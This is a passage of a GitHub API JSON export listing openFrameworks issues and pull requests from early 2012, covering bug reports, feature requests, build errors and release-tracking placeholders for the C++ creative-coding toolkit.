Release","due_on":"2013-01-01T08:00:00Z","open_issues":3,"created_at":"2012-02-25T01:34:28Z","state":"open","description":"","id":88731},"number":970,"html_url":"https://github.com/openframeworks/openFrameworks/issues/970","assignee":null,"title":"0080 Release tracking issue","labels":[],"closed_at":null,"created_at":"2012-02-25T01:36:54Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3381982,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T01:36:37Z","body":"Dummy issue to ensure that the 0074 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/969","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/7","number":7,"closed_issues":0,"title":"0074 Release","due_on":"2012-08-27T07:00:00Z","open_issues":1,"created_at":"2012-02-25T00:41:17Z","state":"open","description":"","id":88728},"number":969,"html_url":"https://github.com/openframeworks/openFrameworks/issues/969","assignee":null,"title":"0074 Release tracking issue","labels":[],"closed_at":null,"created_at":"2012-02-25T01:36:37Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3381977,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-24T04:31:01Z","body":"right now if you try and scale/rotate/etc before calling ofBackgroundGradient, it will fail.\r\n\r\npeople generally call ofBackground at the top of draw() so it shouldn't be a huge issue... but it does make it a little 'fragile'.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/955","comments":0,"milestone":null,"number":955,"html_url":"https://github.com/openframeworks/openFrameworks/issues/955","assignee":null,"title":"ofBackgroundGradient needs to be billboarded","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-02-24T04:31:01Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3367910,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-23T19:12:08Z","body":"Hello, I get a weird error trying to compile the movieplayerexample under linux64 :\r\n\r\n> `.text._ZN11ofBaseVideoD2Ev' referenced in section `.text._ZN11ofBaseVideoD1Ev[non-virtual thunk to ofBaseVideo::~ofBaseVideo()]' of ../../../libs/openFrameworksCompiled/lib/linux64/libopenFrameworks.a(ofBaseTypes.o): defined in discarded section `.text._ZN11ofBaseVideoD2Ev[_ZN11ofBaseVideoD5Ev]' of ../../../libs/openFrameworksCompiled/lib/linux64/libopenFrameworks.a(ofBaseTypes.o)\r\n\r\nMy version of OF is 007, it used to work under 0062...\r\n\r\nWhat should I do ?\r\n\r\nThanks","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/933","comments":4,"milestone":null,"number":933,"html_url":"https://github.com/openframeworks/openFrameworks/issues/933","assignee":null,"title":"Problem with moviePlayerExample under linux64","labels":[],"closed_at":null,"created_at":"2012-02-23T15:46:06Z","state":"open","user":{"url":"https://api.github.com/users/agrosjea","avatar_url":"https://secure.gravatar.com/avatar/e52c167621119d58d03c586bb053a633?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e52c167621119d58d03c586bb053a633","login":"agrosjea","id":1466085},"id":3357855,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-23T05:13:24Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/931","comments":0,"milestone":null,"number":931,"html_url":"https://github.com/openframeworks/openFrameworks/issues/931","assignee":null,"title":"ofCamera is not aware of ofOrientation","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-02-23T05:13:24Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":3351646,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-23T05:12:47Z","body":"do we need the ofOrientation parameter in ofSetupPerspective?\r\n\r\nit applies the rotation but if ofSetOrientation hasn't been called before passing the same orientation the results are not the expected.\r\n\r\nto test it:\r\n\r\nofSetOrientation(OF_ORIENTATION_90_LEFT);\r\nofSetPerspective(ofGetWidth(), ofGetHeight(),OF_ORIENTATION_90_LEFT)\r\n\r\nworks as expected but calling only \r\n\r\nofSetPerspective(ofGetWidth(), ofGetHeight(),OF_ORIENTATION_90_LEFT)\r\n\r\napplies a weird rotation cause the values of ofGetWidth(), ofGetHeight() are still the default ones\r\n\r\nis there any case where it's useful to call setupPerspective with a different orientation that the window has?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/930","comments":0,"milestone":null,"number":930,"html_url":"https://github.com/openframeworks/openFrameworks/issues/930","assignee":null,"title":"ofSetupPerspective ofOrientation","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-23T05:12:47Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":3351643,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-23T04:19:48Z","body":"Currently ofGetLogLevel returns the global log level aka for the \"OF\" module. It would be nice to be able to get the log level for user modules via:\r\n\r\n ofLogLevel level = ofGetLogLevel(\"myLogModule\");\r\n\r\nIt would as simple as adding the module as a string variable with a default of \"OF\".\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/929","comments":0,"milestone":null,"number":929,"html_url":"https://github.com/openframeworks/openFrameworks/issues/929","assignee":null,"title":"ofGetLogLevel should also accept modules","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-02-23T04:19:48Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3351374,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-23T03:46:32Z","body":"Currently there is a ofBgColorPtr(), but maybe it's nice to have a ofGetBackground() that returns an ofColor object or a reference to one.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/928","comments":0,"milestone":null,"number":928,"html_url":"https://github.com/openframeworks/openFrameworks/issues/928","assignee":null,"title":"no ofGetBackground()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-23T03:46:32Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3351170,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-22T19:12:56Z","body":"ofGetViewportWidth/Height returns 0 is called in an object destructor, while ofGetWidth/Height do not. Could the ofGetViewport size be set to the ofGetWidth/Height size instead of 0 be default?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/926","comments":0,"milestone":null,"number":926,"html_url":"https://github.com/openframeworks/openFrameworks/issues/926","assignee":null,"title":"ofGetViewportWidth/Height returns 0 at startup","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-22T19:12:56Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3341020,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-22T00:28:08Z","body":"I noticed a few things when working with ofImage:\r\n\r\n* ofImage has a type variable for the image type but this is an int, as opposed to the ofImageType enum, so it's annoying to force convert ...\r\n* the width, height, & bpp variables are public, they should be protected with getters/setters\r\n* there isn't a getBytesPerPixel, you have to get the pixel reference then call getBytesPerPixel ...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/925","comments":0,"milestone":null,"number":925,"html_url":"https://github.com/openframeworks/openFrameworks/issues/925","assignee":null,"title":"ofImage has type as int, public vars, & missing getBPP, etc","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-22T00:28:08Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3324501,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-29T14:41:17Z","body":"As requested in https://github.com/openframeworks/openFrameworks/pull/794 I've branched openframeworks:develop into my own branch and applied the fixes required to build openFrameworks for Android with MinGW on the windows platform.\r\n\r\nThe instructions on how to compile are still valid (except for the part of patching):\r\nhttp://www.multigesture.net/articles/how-to-setup-openframeworks-for-android-on-windows/\r\n\r\nNote 1: You will need to run:\r\nandroid.bat update project --target android-8 --path C:\\openFrameworks\\addons\\ofxAndroid\\ofAndroidLib\r\n\r\nThis updates the project files for ofAndroidLib project. I didn't included those because those are user specific (they contain the path to the sdk)\r\n\r\nNote 2: d3ddf8e1 \r\nI only added this commit in order to make the examples build properly. Someone still needs to fix the proper implementation.\r\n\r\nNote 3: 7a9cf0ba\r\nWhile working on NodeBeat, we found out that not all devices are using /mnt/sdcard as their external storage location. In some cases the sdcard is located somewhere else (\"Environment.getExternalStorageDirectory()\" doesnt always return the correct location). This commit fixes this problem by checking several locations as reported on multiple Stackoverflow threads. More info about this issue can be found in the commit description.\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/922","comments":13,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":922,"html_url":"https://github.com/openframeworks/openFrameworks/issues/922","assignee":null,"title":"Windows compatibility patches and External storage location fixes.","labels":[],"closed_at":null,"created_at":"2012-02-19T23:30:24Z","state":"open","user":{"url":"https://api.github.com/users/falcon4ever","avatar_url":"https://secure.gravatar.com/avatar/4a503abeaa3d803e55e99093fbf1505d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"4a503abeaa3d803e55e99093fbf1505d","login":"falcon4ever","id":480019},"id":3288053,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/922.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/922","patch_url":"https://github.com/openframeworks/openFrameworks/pull/922.patch"}},{"updated_at":"2012-02-16T09:39:46Z","body":"What about having our own transform stack , in order to:\r\n-avoid to recompute globalTransformMatrix in each ofNode\r\n-could use it when rendering with OpenGL ES 2.0 shaders , which do not support predefined matrix values as world (modelview), worldProjection , or world inverseTranspose (for normals)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/920","comments":0,"milestone":null,"number":920,"html_url":"https://github.com/openframeworks/openFrameworks/issues/920","assignee":null,"title":"Transform stack","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-16T09:39:46Z","state":"open","user":{"url":"https://api.github.com/users/AugusteBonnin","avatar_url":"https://secure.gravatar.com/avatar/cbf7aa7c655d3652170984c9aa497a4c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"cbf7aa7c655d3652170984c9aa497a4c","login":"AugusteBonnin","id":1442658},"id":3248309,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-16T09:31:24Z","body":"There is an easy-to-correct error in ofNode::transformGL:\r\nIt should call loadMatrix with globalTransformMatrix as parameter (with a void restoreGL), or pushMatrix then multMatrix with localTransformMatrix (with a restoreGL that pops the previously pushed matrix),\r\nNOT push then mult with global. The bug appears as soon as you have got more than one level of depth in your node tree. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/919","comments":0,"milestone":null,"number":919,"html_url":"https://github.com/openframeworks/openFrameworks/issues/919","assignee":null,"title":"Error in ofNode::transformGL","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-02-16T09:31:24Z","state":"open","user":{"url":"https://api.github.com/users/AugusteBonnin","avatar_url":"https://secure.gravatar.com/avatar/cbf7aa7c655d3652170984c9aa497a4c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"cbf7aa7c655d3652170984c9aa497a4c","login":"AugusteBonnin","id":1442658},"id":3248230,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-08T10:15:31Z","body":"vs2010 does not include stdint.h support:\r\n\r\nhttp://stackoverflow.com/questions/126279/c99-stdint-h-header-and-ms-visual-studio\r\n\r\nwhich causes addon bugs like this:\r\n\r\nhttps://github.com/openframeworks/openFrameworks/issues/559\r\nhttps://github.com/kylemcdonald/ofxCv/issues/28\r\n\r\neven though these bugs aren't in the core, i think OF is designed to make it easy for people to write cross-platform, cross-compiler code. so i propose that we add an explicit declaration of the missing types for vs2010.\r\n\r\nthis isn't really something i'm worried about directly since i don't use vs2010, but i know people like elliot do. and it would be cleaner to add it once to the core than to add it once for every addon that is broken.\r\n\r\nthe solution would probably look like: take dan's code from the above issue, and move it from ofxOsc into the core.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/917","comments":5,"milestone":null,"number":917,"html_url":"https://github.com/openframeworks/openFrameworks/issues/917","assignee":null,"title":"add global stdint.h support?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"}],"closed_at":null,"created_at":"2012-02-15T02:38:17Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3229504,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T14:55:20Z","body":"to match ofGetWidth(), ofGetHeight()\r\n\r\ni.e. for ofGetMouseX() / ofGetWidth()","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/916","comments":1,"milestone":null,"number":916,"html_url":"https://github.com/openframeworks/openFrameworks/issues/916","assignee":null,"title":"ofGetMouseX() and ofGetMouseY() should return float","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-14T05:17:47Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3214174,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-13T08:16:08Z","body":"I had downloaded the 007 version, when I run of_preRelease_v007_linux/scripts/linux/debian/install_codeblocks.sh it install codeblocks without error, but when I run preRelease_v007_linux/scripts/linux/debian/install_dependencies.sh I get this error\r\n\r\ncompiling object for ../../../openFrameworks/graphics/ofGraphics.cpp\r\nmkdir -p obj/Debug/openFrameworks/graphics\r\ng++ -g3 -Wall -fexceptions -I../../../FreeImage/include -I../../../assimp/include -I../../../assimp/include/Compiler -I../../../cairo/include -I../../../cairo/include/cairo -I../../../cairo/include/pixman-1 -I../../../cairo/include/libpng15 -I../../../fmodex/include -I../../../freetype/include -I../../../freetype/include/freetype2 -I../../../freetype/include/freetype2/freetype -I../../../freetype/include/freetype2/freetype/config -I../../../freetype/include/freetype2/freetype/internal -I../../../freetype/include/freetype2/freetype/internal/services -I../../../glew/include -I../../../glew/include/GL -I../../../kiss/include -I../../../portaudio/include -I../../../rtAudio/include -I../../../tess2/include -I../../../poco/include -I../../../glu/include -I../../../openFrameworks/ -I../../../openFrameworks/3d -I../../../openFrameworks/math -I../../../openFrameworks/types -I../../../openFrameworks/graphics -I../../../openFrameworks/utils -I../../../openFrameworks/app -I../../../openFrameworks/video -I../../../openFrameworks/events -I../../../openFrameworks/communication -I../../../openFrameworks/gl -I../../../openFrameworks/sound -pthread -I/usr/include/gtk-2.0 -I/usr/lib/gtk-2.0/include -I/usr/include/atk-1.0 -I/usr/include/cairo -I/usr/include/pango-1.0 -I/usr/include/gio-unix-2.0/ -I/usr/include/pixman-1 -I/usr/include/freetype2 -I/usr/include/libpng12 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -DOF_USING_GTK -MMD -MP -MFobj/Debug/openFrameworks/graphics/ofGraphics.d -MTobj/Debug/openFrameworks/graphics/ofGraphics.d -o obj/Debug/openFrameworks/graphics/ofGraphics.o -c ../../../openFrameworks/graphics/ofGraphics.cpp\r\n../../../openFrameworks/graphics/ofGraphics.cpp:37:22: warning: GL/glut.h: No such file or directory\r\n../../../openFrameworks/graphics/ofGraphics.cpp: In function ‘void ofSphere(float)’:\r\n../../../openFrameworks/graphics/ofGraphics.cpp:889: error: ‘glutSolidSphere’ was not declared in this scope\r\n../../../openFrameworks/graphics/ofGraphics.cpp:891: error: ‘glutWireSphere’ was not declared in this scope\r\nmake: *** [obj/Debug/openFrameworks/graphics/ofGraphics.o] Error 1\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/915","comments":2,"milestone":null,"number":915,"html_url":"https://github.com/openframeworks/openFrameworks/issues/915","assignee":null,"title":"problems installing dependencies in debian 6.0.4","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":null,"created_at":"2012-02-13T05:45:01Z","state":"open","user":{"url":"https://api.github.com/users/atomsfat","avatar_url":"https://secure.gravatar.com/avatar/f732e5a8b77f8e4ed8fadc2c71916236?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"f732e5a8b77f8e4ed8fadc2c71916236","login":"atomsfat","id":140008},"id":3196145,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-12T04:41:26Z","body":"We have ofSetDataPathRoot() .... it makes sense to have a Getter as well. Basically I wanted the absolute path to the root data folder.\r\n\r\nI managed to fake this by calling ofToDataPath(\".\",true) but this seems a little counter-intuitive.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/914","comments":0,"milestone":null,"number":914,"html_url":"https://github.com/openframeworks/openFrameworks/issues/914","assignee":null,"title":"Add ofGetDataPathRoot","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-12T04:41:26Z","state":"open","user":{"url":"https://api.github.com/users/pierrep","avatar_url":"https://secure.gravatar.com/avatar/be11c9de8242e7aef0446eceaa289e01?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"be11c9de8242e7aef0446eceaa289e01","login":"pierrep","id":392160},"id":3189189,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T14:56:56Z","body":"it would be amazing if ofBeginShape()/ofEndShape() and ofPath supported tex coords (maybe ofTexCoord() and addTexCoord()).\r\n\r\nthis would allow for drawing arbitrary subsections of an image, or for creating an ofMesh that is texture mapped by an image.\r\n\r\nprocessing handles this with extra arguments to vertex() http://processing.org/reference/texture_.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/909","comments":3,"milestone":null,"number":909,"html_url":"https://github.com/openframeworks/openFrameworks/issues/909","assignee":null,"title":"shapes with texCoords","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-02-10T01:42:42Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3166745,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-09T08:16:47Z","body":"a student just showed me how you can use the xcode templates for pocode to create a new project wherever you want on the disk. i know we used to have xcode templates for this, but i just tried them and it seems to be hilariously broken.\r\n\r\ni'm not sure if the new project creator stuff covers this idea or not, but it would be great to have a similar ability with OF somehow.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/902","comments":2,"milestone":null,"number":902,"html_url":"https://github.com/openframeworks/openFrameworks/issues/902","assignee":null,"title":"Xcode templates should be fixed or removed","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-09T04:30:13Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3152323,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-08T21:50:23Z","body":"to draw a filled ofPolyline right now, you need to use beginshape/endshape. but i think a way of adding ofPolylines to an ofPath would be really good -- even a conversion from ofPolyline to ofPath might make sense. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/901","comments":0,"milestone":null,"number":901,"html_url":"https://github.com/openframeworks/openFrameworks/issues/901","assignee":null,"title":"easier filled ofPolyline, or easy ofPolyline->ofPath conversion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-08T21:50:23Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3148441,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-09T14:46:48Z","body":"Hi.\r\n\r\nI've been trying to load stream video ( mpeg2 .ts and hls .m3u8 ) using OF on MacOS 10.7.2.\r\n\r\nBoth cases causes error -2048 in the line below: ( l:89, ofQuickTimePlayer.cpp )\r\n\r\n```c++\r\nerr = NewMovieFromDataRef(&movie, newMovieAsyncOK,nil, urlDataRef, URLDataHandlerSubType);\r\n```\r\n\r\nLoading remote .mp4 works perect. Loading same streams in QuickTime player(v10.1) works without any troubles.\r\n\r\nSo, it seems the trouble happens just when no videofile size info returned from server.\r\n\r\nIs it a bug? Or I've missed smthng?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/897","comments":4,"milestone":null,"number":897,"html_url":"https://github.com/openframeworks/openFrameworks/issues/897","assignee":null,"title":"ofQuickTimePlayer.createMovieFromURL fails on streaming video","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-02-06T11:42:08Z","state":"open","user":{"url":"https://api.github.com/users/4pcbr","avatar_url":"https://secure.gravatar.com/avatar/52e8e29748826594f27b5c6c20a353e0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"52e8e29748826594f27b5c6c20a353e0","login":"4pcbr","id":247109},"id":3106705,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-05T17:11:59Z","body":"This concerns libraries included in addons in source form. According to [this issue](https://github.com/chrisoshea/ofxMidi/issues/8) reported by @danomatika, the makefile can only compile 